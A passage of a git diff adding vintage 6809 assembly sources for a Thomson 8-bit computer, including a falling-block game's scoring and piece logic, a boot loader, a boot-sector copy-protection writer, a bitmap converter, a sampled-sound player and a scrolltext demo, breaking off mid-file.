+ LDD #$7FFF
+ STA 119,Y
+ STB 159,Y
+ DEC <Z
+ LBNE RAVLIG
+RAVGRU LEAU 320,U
+ DEC <Z+1
+ LBNE RAVCOL
+
+**** Tombée des lignes supérieures ****
+
+ LDA <Z+9
+ LBEQ STATUS rien ne bouge
+ LDY #TOMDEB
+ LDA #5
+ STA <Z+31
+ JMP SYNCRO
+
+TOMDEB LDU <Z+18 source
+ LEAU -120,U haut de la ligne
+ LEAS 5,U destination
+TOMLIG LEAU -320,U
+ LDA ,U
+ CMPA #BORDER haut du cadre
+ BEQ TOMDER
+ CMPA #GHOST
+ BNE TOMCPY
+ BRA TOMLIG
+
+TOMDER LDX #COULIB*256+COULIB
+ LEAY ,X
+ LDB #COULIB
+ LDA <Z+9
+ LDU #RAMB+50
+ PSHU Y,X,B
+ PSHU Y,X,B
+ LEAU 50,U
+ PSHU Y,X,B
+ PSHU Y,X,B
+ LEAU 50,U
+ PSHU Y,X,B
+ PSHU Y,X,B
+ LEAU 50,U
+ PSHU Y,X,B
+ PSHU Y,X,B
+ LEAU 50,U
+ PSHU Y,X,B
+ PSHU Y,X,B
+ LEAU 50,U
+ PSHU Y,X,B
+ PSHU Y,X,B
+ LEAU 50,U
+ PSHU Y,X,B
+ PSHU Y,X,B
+ LEAU 50,U
+ PSHU Y,X,B
+ PSHU Y,X,B
+ LEAU 50,U
+ DECA
+ BNE *-57
+ LDY #SCOMAJ
+ LDA #5
+ STA <Z+31
+ JMP SYNCRO
+
+TOMCPY PULU B,X,Y copie des couleurs
+ PSHS Y,X,B
+ LEAS 45,S
+ PSHS Y,X,B
+ LEAS 45,S
+ PSHS Y,X,B
+ LEAS 45,S
+ PSHS Y,X,B
+ LEAS 45,S
+ PSHS Y,X,B
+ LEAS 45,S
+ PSHS Y,X,B
+ LEAS 45,S
+ PSHS Y,X,B
+ LEAS 45,S
+ PSHS Y,X,B
+ LEAS 10,S
+ PULU X,Y,B
+ PSHS Y,X,B
+ LEAS -35,S
+ PSHS Y,X,B
+ LEAS -35,S
+ PSHS Y,X,B
+ LEAS -35,S
+ PSHS Y,X,B
+ LEAS -35,S
+ PSHS Y,X,B
+ LEAS -35,S
+ PSHS Y,X,B
+ LEAS -35,S
+ PSHS Y,X,B
+ LEAS -35,S
+ PSHS Y,X,B
+
+ LEAU $1FF6,U
+ LEAS $2000,S
+ PULU B,X,Y copie des formes
+ PSHS Y,X,B
+ LEAS 10,S
+ PULU B,X,Y
+ PSHS Y,X,B
+ LEAU 30,U
+ LEAS 40,S
+ PULU B,X,Y
+ PSHS Y,X,B
+ LEAS 45,S
+ PSHS Y,X,B
+ LEAS 45,S
+ PSHS Y,X,B
+ LEAS 45,S
+ PSHS Y,X,B
+ LEAS 45,S
+ PSHS Y,X,B
+ PULU B,X,Y
+ LEAS 10,S
+ PSHS Y,X,B
+ LEAS -35,S
+ PSHS Y,X,B
+ LEAS -35,S
+ PSHS Y,X,B
+ LEAS -35,S
+ PSHS Y,X,B
+ LEAS -35,S
+ PSHS Y,X,B
+ LEAU 190,U
+ LEAS 200,S
+ PULU B,X,Y
+ PSHS Y,X,B
+ LEAS 10,S
+ PULU B,X,Y
+ PSHS Y,X,B
+ LEAU 30,U
+ LEAS 40,S
+ PULU B,X,Y
+ PSHS Y,X,B
+ LEAS 10,S
+ PULU B,X,Y
+ PSHS Y,X,B
+ LEAU -$2122,U
+ LEAS -$2258,S
+ JMP TOMLIG
+
+SCOMAJ LDX <Z+39 score bonifié
+ LDA <Z+9
+ LDB #6
+ MUL
+ LEAX D,X
+ LDU #DIR*256+Z+39
+ LDA #6
+ LDB ,-U
+ ADDB ,-X
+ CMPB #10
+ BLO *+6
+ SUBB #10
+ INC -1,U
+ STB ,U
+ DECA
+ BNE *-15
+ LDA <Z+32 au cas où 10000000
+ CMPA #10
+ BLO *+4
+ CLR <Z+32
+
+ LDS #$60CC
+ LDB <Z+15 lignes du level
+ SUBB <Z+9
+ CMPB #252
+ BLO NBLMAJ-2
+ LDD <Z+41 numéro du level
+ LDU <Z+39 gains associés
+ LEAU 24,U
+ INCB
+ CMPB #10
+ BLO *+24
+ INC <Z+43
+ LDB <Z+43
+ LDX #$CA98 vies ^
+ JSR PUTC
+ LDA <Z+41
+ LDU #LEVELS
+ CLRB
+ INCA
+ CMPA #10
+ BLO *+3
+ CLRA
+ STD <Z+41
+ PULU D
+ STD <Z+6 vitesse associée
+ STU <Z+39
+ LDX #$D4D1 level ^
+ LDB <Z+41
+ BNE *+4
+ LDB #12
+ JSR PUTC
+ LDB <Z+42
+ JSR PUTC
+ LDB #14 lignes / level
+ STB <Z+15
+NBLMAJ LDB <Z+22 nombre de lignes
+ ADDB <Z+9
+ CMPB #9
+ BHI *+6
+ STB <Z+22
+ BRA NBLAFF
+ SUBB #10
+ STB <Z+22
+ LDA <Z+21
+ INCA
+ CMPA #9
+ BHI *+6
+ STA <Z+21
+ BRA NBLAFF
+ SUBA #10
+ STA <Z+21
+ INC <Z+20
+NBLAFF LDX #$D33F lines ^
+ LDB <Z+20
+ JSR PUTC
+ LDB <Z+21
+ JSR PUTC
+ LDB <Z+22
+ JSR PUTC
+
+**** Status lines ****
+
+STATUS LDU #DIR*256+Z+39
+ LDS #$60CC
+ CLRA
+ LDB ,-U
+ INCB
+ CMPB #10
+ BLO *+6
+ STA ,U
+ BRA *-9
+ STB ,U
+SCOAFF LDX #$C5CA score ^
+ LDY #DIR*256+Z+32
+ LDA #7
+ STA <Z
+ LDB ,Y+
+ JSR PUTC
+ DEC <Z
+ BNE *-7
+
+**** Nouvel objet ****
+
+OBJNEW CLR <Z+9
+ LDU <Z+16 ancien "NEXT"
+ STU <Z+4 forme de l'objet
+ LEAS 8,U
+ LDX #RAMB-517
+ STX <Z+2 adresse écran
+ LDX #RAMB+3
+ CLR <Z+8 ordonnée nulle
+ INC <Z+14 flag même pression
+ LDA #2
+ STA <Z
+ LDB #4
+
+OBJLIG LDA ,S+
+ BEQ *+11
+ LDA ,X haut du cube
+ CMPA #COULIB
+ BEQ *+5
+ JMP BLKOBJ l'objet est bloqué
+ LEAX 1,X
+ DECB
+ BNE OBJLIG
+ LEAX 316,X
+ DEC <Z
+ BNE OBJLIG-2
+
+**** Présentation du suivant ****
+
+SUIDEB LDX <Z+10
+ LDB ,X+
+ ANDB #7
+ BNE *+7
+ LDX #RANDOM
+ BRA *-9
+ STX <Z+10
+ LDX #PIECES-2
+ ASLB
+ LDU B,X forme du suivant
+ STU <Z+16
+ LEAS 8,U
+ LDX #$B510 next ^
+ LEAY $2000,X
+ LDA #2
+ STA <Z+1
+ LDB #4
+ STB <Z
+
+SUILIG LDB ,S+
+ BNE SUICUB
+ LDA #COULIB
+ STA -120,X
+ STA -80,X
+ STA -40,X
+ STA ,X
+ STA 40,X
+ STA 80,X
+ STA 120,X
+ STA 160,X
+ BRA SUINEX
+SUICUB LDA #6
+ MUL
+ LDU #DESSIN-6
+ LEAU D,U
+ PULU D
+ STA -120,X
+ STA -80,X
+ STA -40,X
+ STA ,X
+ STA 40,X
+ STA 80,X
+ STA 120,X
+ STA 160,X
+ STB -120,Y
+ PULU D
+ STA -80,Y
+ STB -40,Y
+ STB ,Y
+ STB 40,Y
+ STB 80,Y
+ PULU D
+ STA 120,Y
+ STB 160,Y
+SUINEX LEAX 1,X
+ LEAY 1,Y
+ DEC <Z
+ BNE SUILIG
+ LEAX 316,X
+ LEAY 316,Y
+ DEC <Z+1
+ BNE SUILIG-4
+ JMP SYNCRO
+
+**** La figure est bloquée ****
+
+BLKOBJ DEC <Z
+ BNE BLKFIN
+ LDX #RAMB+123
+ LDY #RAMA+123
+ LEAS 12,U
+ LDA #4
+ STA <Z
+
+BLKLIG LDB ,S+
+ BEQ BLKVID
+ LDA #6
+ MUL
+ LDU #DESSIN-6
+ LEAU D,U
+ PULU D
+ STA -120,X
+ STA -80,X
+ STA -40,X
+ STA ,X
+ STA 40,X
+ STA 80,X
+ STA 120,X
+ STA 160,X
+ STB -120,Y
+ PULU D
+ STA -80,Y
+ STB -40,Y
+ STB ,Y
+ STB 40,Y
+ STB 80,Y
+ PULU D
+ STA 120,Y
+ STB 160,Y
+
+BLKVID LEAX 1,X
+ LEAY 1,Y
+ DEC <Z
+ BNE BLKLIG
+
+BLKFIN LDA #20
+ STA <Z+31
+ LDY #*+7
+ JMP SYNCRO
+ DEC <Z+43
+GETRED LDS #$60CC
+ LDX #$CA98 vies ^
+ LDB <Z+43
+ JSR PUTC
+ TST <Z+43
+ BEQ OVER
+ LDX #$CD32
+ LDY #$40C0
+ LDA #32
+ LDU ,Y++
+ STU -2,X
+ LDU ,Y++
+ STU ,X
+ LDU ,Y++
+ STU 2,X
+ LDU ,Y++
+ STU 4,X
+ LEAX 40,X
+ DECA
+ BNE *-20
+ LEAS -$24FA,X
+ LDU #GHOST*256+GHOST
+ LEAX ,U
+ LEAY ,U
+ LDA #32
+ STA <Z
+ TFR X,D
+ PSHS U,Y,X,D
+ LEAS 48,S
+ DEC <Z
+ BNE *-7
+ LDA $E7CD
+ BITA #64
+ BNE *-5
+ LDB #160
+ LDU #COULIB*256+COULIB
+ LDX #RAMB+4
+ STU -4,X
+ STU -2,X
+ STU ,X
+ STU 2,X
+ STU 4,X
+ LEAX 40,X
+ DECB
+ BNE *-14
+ LDS #$60CC
+ JMP SCOAFF
+
+OVER LDX #$CD33 over ^
+ LDY #$4000
+ LDA #32
+ LDU ,Y++
+ STU -2,X
+ LDU ,Y++
+ STU ,X
+ LDU ,Y++
+ STU 2,X
+ LEAX 40,X
+ DECA
+ BNE *-16
+ LEAS -$24FC,X
+ LDU #GHOST*256+GHOST
+ LEAX ,U
+ LEAY ,U
+ LDA #32
+ PSHS U,Y,X
+ LEAS 46,S
+ DECA
+ BNE *-6
+ LDA $E7CD
+ BITA #64
+ BNE *-5
+ LDS #0
+ RTS
+PUTC LDU #CHIFF
+ LDA #7
+ MUL
+ LEAU D,U
+ PULU D
+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X+
+ PULU D
+ STA 39,X
+ STB 79,X
+ LDA ,U
+ STA 119,X
+ RTS
+INITAL STS PUTC-3
+ STD <Z+41 level
+ LDA #26
+ MUL
+ LDU #LEVELS
+ LEAU D,U
+ PULU D
+ STD <Z+6 vitesse
+ STU <Z+39 gains
+ LDD #0
+ STD <Z+31 score
+ STD <Z+33
+ STD <Z+35
+ STD <Z+37
+ STD <Z+20 lines
+ STB <Z+22
+ STA <Z+8 virgule
+ LDB <Z+42
+ LDA #15
+ MUL
+ TST <Z+41
+ BEQ *+4
+ ADDB #150
+ DECB
+ STB <Z+15 lignes / ce level
+ LDA #3
+ STA <Z+43 vies
+ LDX <Z+10
+ LDB ,X+ objet suivant
+ ANDB #7
+ BNE *+7
+ LDX #RANDOM
+ BRA *-9
+ STX <Z+10
+ LDX #PIECES-2
+ ASLB
+ LDU B,X
+ STU <Z+16
+ LDS #$60CC
+ LDX #$D4D1 level ^
+ LDB <Z+41
+ BNE *+4
+ LDB #12
+ JSR PUTC
+ LDB <Z+42
+ JSR PUTC
+ LDX #$D33F lines ^
+ CLRB
+ JSR PUTC
+ CLRB
+ JSR PUTC
+ CLRB
+ JSR PUTC
+ LDB <Z+43
+ LDX #$CA98 vies ^
+ JSR PUTC
+ JMP GETRED
+
+ END
diff --git a/code/3rdparty/sources2-hcl/PREFBOOT.ASM b/code/3rdparty/sources2-hcl/PREFBOOT.ASM
new file mode 100644
index 0000000..27577b1
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/PREFBOOT.ASM
@@ -0,0 +1,66 @@
+****************************************
+* *
+* Set-Prevs BOOT *
+* *
+****************************************
+* (c) By Laurent HIRIART 6-10-1991 *
+* *
+* 6280: les 16 nouvelles palettes. *
+* 62A0: texte ASCII, terminé par 0. *
+* 62FF: flags (NoAutoBat? ; NewPal?). *
+****************************************
+
+ ORG $6200
+ LDX #$6200 le programme se
+COPY LDB ,X+ copie en $7200
+ STB $FFF,X pour pas se faire
+ CMPX #$6300 buter pas les
+ BNE COPY initialisations!
+ JMP $7211
+BSTART CLR >0 ROM0 -> cartouche
+ JSR $2B42 voir ($2B52) ROM0
+ LDS #$9FFF
+ CLR >1 ROM1 -> cartouche
+ JSR $193
+ COM <$31
+ STS $6C43
+ CLR >0 ROM0 -> cartouche
+ JSR $2D00
+ LDA #2 } copie de ($2B74)
+ LDX #$100 }
+ JSR $3A13 }
+ LDA #$80 }
+ STA $6768 }
+ JSR $342F } cf ($2B1A)
+ LDA #4 }
+ STA $6C42 }
+ LDX #$6300 }
+ STX $6027 }
+ LDA $6019 }
+ ORA #$20 }
+ STA $6019 }
+ LDA #$FF }
+ STA $603A }
+ JSR $43B }
+ LDX #$72A0 affichage du texte
+ LDB ,X+ de l'utilisateur
+ JSR $E803
+ BNE *-5
+ LDA $62FF les 2 Flags :
+ BPL *+5
+ CLR $607F ->pas d'AUTO.BAT !
+ ASLA
+ BEQ *+10
+ LDA #-1 ->nouvelle palette
+ LDX #$7280
+ JSR $EC00
+ JMP $2BAD retour BASIC /ROM0
+
+****************************************
+* Valeur-test: "BASIC2.." complémenté: *
+****************************************
+
+ ORG $6278
+ FDB $BEBF,$ADB7,$BDCE,$0000
+
+ END
diff --git a/code/3rdparty/sources2-hcl/PROTASS1.ASM b/code/3rdparty/sources2-hcl/PROTASS1.ASM
new file mode 100644
index 0000000..cd7a1f4
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/PROTASS1.ASM
@@ -0,0 +1,170 @@
+****************************************
+* *
+* *
+* *
+* *
+* PROTECTION ASSDESAS *
+* *
+* *
+* *
+* *
+****************************************
+
+L4D EQU $604D
+L4B EQU $604B
+L4E EQU $604E
+
+
+DEBUT LDX #NOM
+ LDB #8+2+3
+ LDU #FPDE1
+ JSR NET1
+ CLRA
+ JSR OPELEC
+ LBCS SERR
+ CLR BLO
+ LDX #BUF1
+ STX BUF
+ LDD #$0009
+ STD PISEC
+
+LOOP CLRA
+ JSR LEC
+ LBCS SERR
+ JSR ECRO
+ TST LF0
+ BNE LOOP
+ JSR CLOSO
+ JMP PBOOT
+
+NOM FCC /DFBIN/
+ FDB $200
+BUF RMB 2
+BLO RMB 1
+PISEC RMB 2
+BUF1 RMB 256
+
+ECRO PSHS A,B,X
+ LDX BUF
+ STB ,X+
+ STX BUF
+ INC BLO
+ BNE ECR1
+ FCB $F5
+CLOSO PSHS A,B,X
+ CLR BLO
+ LDX #BUF1
+ STX BUF
+ STX L4F
+ CLR L49
+ LDD PISEC
+ STD $604B
+ LDB #8
+ STB L48
+ JSR LE004
+ BCS SERR
+ LDD PISEC
+ CMPB #16
+ BLO REC5
+ CLRB
+ INCA
+REC5 INCB
+ STD PISEC
+
+ECR1 PULS A,B,X,PC
+
+SERR
+ LDB #'E
+ JSR $E803
+ SWI
+
+
+ INCLUD SED
+
+PBOOT LDX #BOOT
+ LDU #BUF1
+ LDB #FBOOT-BOOT
+ JSR NET1
+ LDX #BUF1
+ LDA #$55
+INU ADDA ,X
+ COM ,X
+ INC ,X+
+ CMPX #BUF1+127
+ BNE INU
+ STA ,X
+ LDX #BUF1
+ STX L4F
+ LDA #8
+ STA L48
+ LDD #001
+ STD $604B
+ JSR LE004
+ LBCS SERR
+ SWI
+BOOT
+ LDD #9
+ STD L4B
+ STB L4C
+ BSR AUDIS
+LOUP
+ BSR LECT
+ TFR A,B
+ BSR LECT
+ TFR D,Y
+ BSR LECT
+ TFR B,A
+ BSR LECT
+ TFR D,X
+ LDA ,S+
+ BNE BNI
+LO
+ BSR LECT
+ STB ,X+
+ LEAY -1,Y
+ BNE LO
+ BRA LOUP
+UI0
+ LDB #12
+ JSR $E803
+ LDB #'E
+ JSR $E803
+ BRA *
+
+BNI JMP ,X
+
+LECT
+ LDB ,U+
+ CMPU #$6300
+ BNE LOP10
+ PSHS A,B
+ LDA L4B
+ LDB L4C
+ CMPB #16
+ BNE LYP6
+ INCA
+ CLRB
+LYP6
+ INCB
+ STA L4B
+ STB L4C
+ BSR AUDIS
+ PULS A,B
+LOP10 RTS
+AUDIS
+ LDU #$6280
+ STU L4F
+ CLR L4A
+ CLR L4D
+ CLR L4E
+ CLR L49
+ LDA #2
+ STA L48
+ JMP LE004
+FBOOT
+
+
+
+
+
+ END
diff --git a/code/3rdparty/sources2-hcl/PROTASS2.ASM b/code/3rdparty/sources2-hcl/PROTASS2.ASM
new file mode 100644
index 0000000..d33857d
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/PROTASS2.ASM
@@ -0,0 +1,78 @@
+
+
+L6300 SET $7300
+L6280 SET $7280
+L4C SET $604C
+L4F SET $604F
+L49 SET $6049
+L48 SET $6048
+L4B SET $604B
+L4A SET $604A
+L4D SET $604D
+L4E SET $604E
+LE004 SET $E004
+
+ ORG $9000
+BOOT
+ ORCC #$50
+ LDD #9
+ STD L4B
+ STB L4C
+ BSR AUDIS
+LOUP
+ BSR LECT
+ PSHS B
+ BSR LECT
+ TFR B,A
+ BSR LECT
+ TFR D,Y
+ BSR LECT
+ TFR B,A
+ BSR LECT
+ TFR D,X
+ LDA ,S+
+ BNE BNI
+LO
+ BSR LECT
+ STB ,X+
+ LEAY -1,Y
+ BNE LO
+ BRA LOUP
+UI0
+ LDB #12
+ JSR $E803
+ LDB #'E
+ JSR $E803
+ BRA *
+
+BNI JMP ,X
+
+LECT
+ LDB ,U+
+ CMPU #L6300
+ BNE LOP10
+ PSHS A,B
+ LDA L4B
+ LDB L4C
+ CMPB #16
+ BNE LYP6
+ INCA
+ CLRB
+LYP6
+ INCB
+ STA L4B
+ STB L4C
+ BSR AUDIS
+ PULS A,B
+LOP10 RTS
+AUDIS
+ LDU #L6280
+ STU L4F
+ CLR L4A
+ CLR L4D
+ CLR L4E
+ CLR L49
+ LDA #2
+ STA L48
+ JMP LE004
+FBOOT
diff --git a/code/3rdparty/sources2-hcl/RAW2MAP3.ASM b/code/3rdparty/sources2-hcl/RAW2MAP3.ASM
new file mode 100644
index 0000000..fb1954c
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/RAW2MAP3.ASM
@@ -0,0 +1,131 @@
+****************************************
+* Conversion du mode RAW en bitmap16 *
+****************************************
+* Doctor Lô le 29-4-91 *
+****************************************
+
+P0 EQU 0 bitplan0
+P1 EQU 4000 décalage bitplan1
+P2 EQU 2*P1 décalage bitplan2
+P3 EQU 3*P1 décalage bitplan3
+
+DIR EQU $9E variables = les 2
+Z EQU $FE octets courants
+
+ ORG $9E00
+G ORCC #80
+ PSHS DP
+ LDA #DIR
+ TFR A,DP
+
+ LDY #P1 octets par plan
+ LDX #$A000 source
+ LDU #$4000 destination
+
+CONVER CLR <Z
+ CLR <Z+1
+
+ LDD #$C010
+ BITA P0,X
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDB #32
+ BITA P1,X
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDB #64
+ BITA P2,X
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDB #128
+ BITA P3,X
+ BEQ *+6
+ ORB <Z
+ STB <Z
+
+ LDD #$3001
+ BITA P0,X
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDB #2
+ BITA P1,X
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDB #4
+ BITA P2,X
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDB #8
+ BITA P3,X
+ BEQ *+6
+ ORB <Z
+ STB <Z
+
+ LDD #$0C10
+ BITA P0,X
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDB #32
+ BITA P1,X
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDB #64
+ BITA P2,X
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDB #128
+ BITA P3,X
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+
+ LDD #$0301
+ BITA P0,X
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDB #2
+ BITA P1,X
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDB #4
+ BITA P2,X
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDB #8
+ BITA P3,X
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+
+ LDA $E7C3 premier octet en
+ ORA #1 RAM A
+ STA $E7C3
+ LDB <Z
+ STB ,U
+ ANDA #254 deuxième octet en
+ STA $E7C3 RAM B
+ LDB <Z+1
+ STB ,U+ destination
+ LEAX 1,X source (Bitplan 1)
+ LEAY -1,Y compteur
+ LBNE CONVER
+
+ CMPU #$5F40 première moitié
+ BLO *+5
+ LDU #$4000 ou fin d'image ?
+ STU CONVER-2
+ PULS DP,PC
+
+ END
diff --git a/code/3rdparty/sources2-hcl/REPLAY.ASM b/code/3rdparty/sources2-hcl/REPLAY.ASM
new file mode 100644
index 0000000..a34b2d6
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/REPLAY.ASM
@@ -0,0 +1,144 @@
+****************************************
+* *
+* R E P L A Y *
+* Crunched/6 bits *
+* -------------------------- *
+* (c) 12.9.1991 by Doctor Lô / HCL *
+* *
+****************************************
+* *
+* REPLAY joue une série de "segments" *
+* dont la structure permet de composer *
+* de véritables musiques : *
+* *
+* BANK (1o): La Bank où est le segment *
+* TEMPO (1o): "Vitesse" (0 ->23.8 KHz) *
+* START (2o): (Adresse de début)-1 !!! *
+* SIZE (2o): Longueur en "quadruplets" *
+* *
+* La fin de la liste de segments est *
+* codée: ($80+BANK du premier segment) *
+* et la musique boucle tant qu'aucune *
+* touche n'est frappée au clavier. *
+* - *
+* REPLAY accepte en entrée 2 pointeurs *
+* dans la liste des segments: *
+* -> on commence à jouer à partir de U *
+* -> pour boucler, on reprend à X. *
+* ------- *
+* *
+* L'intervalle entre deux "notes" est *
+* TOUJOURS de 42+5*TEMPO microsecondes *
+* réparties comme suit: *
+* 31: Avant validation de la hauteur. *
+* 4: Validation de la hauteur du son. *
+* 7+5*TEMPO: boucle de temporisation. *
+* *
+****************************************
+
+
+
+ ORG $9F00 Last byte in $9F80
+REPLAY PSHS U,Y,X,DP,B,A,CC
+ LDA #$E7
+ TFR A,DP
+ STX PLAY4-4 sgmnt début boucle
+ PULU A,B,X,Y
+ STA <$E5 bank du 1er sgmnt
+ PSHS B val. temporisation
+ BRA PLAY1
+
+*******début*de**la*boucle*REPLAY*******
+
+PLAY3 LDA ,X+ 6
+ ASLA 2
+ ASLA 2
+ STA *+8 5
+ LDA ,X 4
+ ANDA #3 2
+ ORA #0 2
+ STA <$CD 4------------note3
+ LDB ,S 4
+ BEQ *+5 3
+ DECB
+ BNE *-1
+
+
+* Répartition du son sur le quadruplet:
+*
+* [54321010] [54325432] [54321010] *
+* X:^^^^^^ *
+
+ LDD ,X 5
+ LEAY -1,Y 5 fin de segment ?
+ BEQ NEWBNK 3
+ LDB [D,Y]
+ BRA PLAY4
+NEWBNK LDB ,U 4 nouvelle Bank
+ BMI *+4 3 fin de musique ?
+ BRA *+5 non:continue
+ LDU #0 3 oui:recommence
+ STB <$E5 4
+PLAY4 LSRA 2
+ LSRA 2
+ STA <$CD 4------------note4
+ LDB ,S 4
+ BEQ *+5 3
+ DECB
+ BNE *-1
+
+
+* Répartition du son sur le quadruplet:
+*
+* [54321010] [54325432] [54321010] *
+*X+1:^^^^^^ *
+
+ LEAY ,Y 4 fin de segment ?
+ BEQ NEWSEG 3 oui:re-paramètre
+ MUL non:continue
+ JMP PLAY1
+NEWSEG PULU A,B,X,Y 11 début;longueur;
+ STB ,S 4 nouveau tempo
+PLAY1 LDA 1,X 5
+ LSRA 2
+ LSRA 2
+ STA <$CD 4------------note1
+ LDB ,S 4
+ BEQ *+5 3
+ DECB
+ BNE *-1
+
+
+* Répartition du son sur le quadruplet:
+*
+* [54321010] [54325432] [54321010] *
+*X+1: ^^ ^^^^ *
+
+ LEAX 1,X 5
+ BRN * 3
+PLAY2 LDA ,X+ 6
+ ANDA #3 2
+ STA *+8 5
+ LDA ,X 4
+ LSRA 2
+ LSRA 2
+ ORA #0 2
+ STA <$CD 4------------note2
+ LDB ,S 4
+ BEQ *+5 3
+ DECB
+ BNE *-1
+
+
+* Répartition du son sur le quadruplet:
+*
+* [54321010] [54325432] [54321010] *
+* X: ^^^^ ^^ *
+
+ LDA $E7C8 5 touche frappée ?
+ BEQ PLAY3 3 non: on continue
+
+********fin*de*la*boucle*REPLAY*********
+
+ PULS B dépile le TEMPO
+ PULS CC,A,B,DP,X,Y,U,PC retour
diff --git a/code/3rdparty/sources2-hcl/RST-ROM.ASM b/code/3rdparty/sources2-hcl/RST-ROM.ASM
new file mode 100644
index 0000000..74df9f1
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/RST-ROM.ASM
@@ -0,0 +1,21 @@
+ ORG $9800
+G ORCC #80
+ LDX #$FDC8
+ LDU #RESET
+ LDA ,X+
+ STA ,U+
+ CMPX #$FEF8
+ BNE *-7
+RESET
+
+ ORG $995E
+ LDA #15
+ STA $E7E5
+ LDX #0
+ LDU #$A000
+ LDA ,X+
+ STA ,U+
+ CMPX #$4000
+ BNE *-7
+ BRA *
+ END
diff --git a/code/3rdparty/sources2-hcl/SCROL16c.ASM b/code/3rdparty/sources2-hcl/SCROL16c.ASM
new file mode 100644
index 0000000..f742f82
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SCROL16c.ASM
@@ -0,0 +1,252 @@
+****************************************
+* SCROLLTEXT EN BITMAP 16 COULEURS *
+****************************************
+* Les autres scrolls peuvent toujours *
+* scroller, Doc Lô reste intouchable ! *
+****************************************
+
+FONTE EQU -HAUT*LONG*2
+RAMA EQU $DF18-HAUT*40
+RAMB EQU RAMA-$2000
+HAUT EQU 44 multiple de 7 ! +2
+LONG EQU 5 segments par CHR$
+DIR EQU $9F } début buffer
+Z EQU 0 } à accès direct
+CARTOU EQU 15 page $0000-$3FFF
+
+ ORG DIR*256+Z
+ FDB 1,TEXTE,FONTE
+
+ ORG $9800
+G ORCC #80
+ LDA #DIR
+ EXG A,DP
+ LDB $E7E6
+ STA RDP+1
+ STB RDP+2
+ STS RDP-2
+
+ LDA #123
+ STA $E7DC
+ LDD #$260+CARTOU
+ STD $E7E5
+ LDD #0
+ LDX #$A000
+ STD ,X++
+ CMPX #$E000
+ BNE *-5
+ INC $E7E5
+ STD ,--X
+ CMPX #$A000
+ BNE *-5
+ LDA #255
+ LDX #COLORS+32
+ JSR $EC00
+
+SYNCRO TST $E7E7
+ BPL *-3
+ TST $E7E7
+ BMI *-3
+ LDD #$380
+ STA $E7E5 premier écran
+ STB $E7DD
+
+ LDX #RAMA+160
+ LDU <Z+4
+ LDA #HAUT/7
+ STA <Z
+COPYA1 PULU D
+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X
+ PULU D
+ STA 40,X
+ STB 80,X
+ PULU A
+ STA 120,X
+ LEAX 280,X
+ DEC <Z
+ BNE COPYA1
+ PULU D
+ STA -120,X
+ STB -80,X
+ STU <Z+4
+
+ LDA #HAUT
+ STA <Z
+ LDU #RAMA+1
+SCRLA1 PULU D,X,Y,S
+ LEAU -1,U
+ PSHU S,Y,X,D
+ LEAU 9,U
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ DEC <Z
+ BNE SCRLA1
+ CLR RAMA+HAUT*40
+
+ DEC <Z+1
+ BNE MEMLET
+
+ LDA #LONG
+ STA <Z+1
+ LDX <Z+2
+ LDA ,X+ lettre suivante
+ BNE *+7
+ LDX #TEXTE
+ LDA ,X+
+ LDU #FONTE
+ LDB #HAUT*LONG
+ ASLA
+ MUL
+ LEAU D,U
+ STU <Z+4
+ STX <Z+2
+
+MEMLET LDX #RAMB+160
+ LDU <Z+4
+ LDA #HAUT/7
+ STA <Z
+COPYB1 PULU D
+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X
+ PULU D
+ STA 40,X
+ STB 80,X
+ PULU A
+ STA 120,X
+ LEAX 280,X
+ DEC <Z
+ BNE COPYB1
+ PULU D
+ STA -120,X
+ STB -80,X
+
+ LDA #HAUT
+ STA <Z
+ LDU #RAMB+1
+SCRLB1 PULU D,X,Y,S
+ LEAU -1,U
+ PSHU S,Y,X,D
+ LEAU 9,U
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ DEC <Z
+ BNE SCRLB1
+ CLR RAMB+HAUT*40
+
+ TST $E7E7
+ BPL *-3
+ TST $E7E7
+ BMI *-3
+ LDD #$2C0
+ STA $E7E5 deuxième écran
+ STB $E7DD
+
+ LDX #RAMA+160
+ LDU <Z+4
+ LDA #HAUT/7
+ STA <Z
+COPYA2 PULU D
+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X
+ PULU D
+ STA 40,X
+ STB 80,X
+ PULU A
+ STA 120,X
+ LEAX 280,X
+ DEC <Z
+ BNE COPYA2
+ PULU D
+ STA -120,X
+ STB -80,X
+ STU <Z+4
+
+ LDA #HAUT
+ STA <Z
+ LDU #RAMA+1
+SCRLA2 PULU D,X,Y,S
+ LEAU -1,U
+ PSHU S,Y,X,D
+ LEAU 9,U
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ DEC <Z
+ BNE SCRLA2
+ CLR RAMA+HAUT*40
+
+ LDX #RAMB+160
+ LDU <Z+4
+ LDA #HAUT/7
+ STA <Z
+COPYB2 PULU D
